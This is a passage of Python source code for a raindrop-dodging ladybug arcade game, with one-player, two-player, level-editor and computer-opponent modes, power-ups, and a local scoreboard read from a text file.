'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line 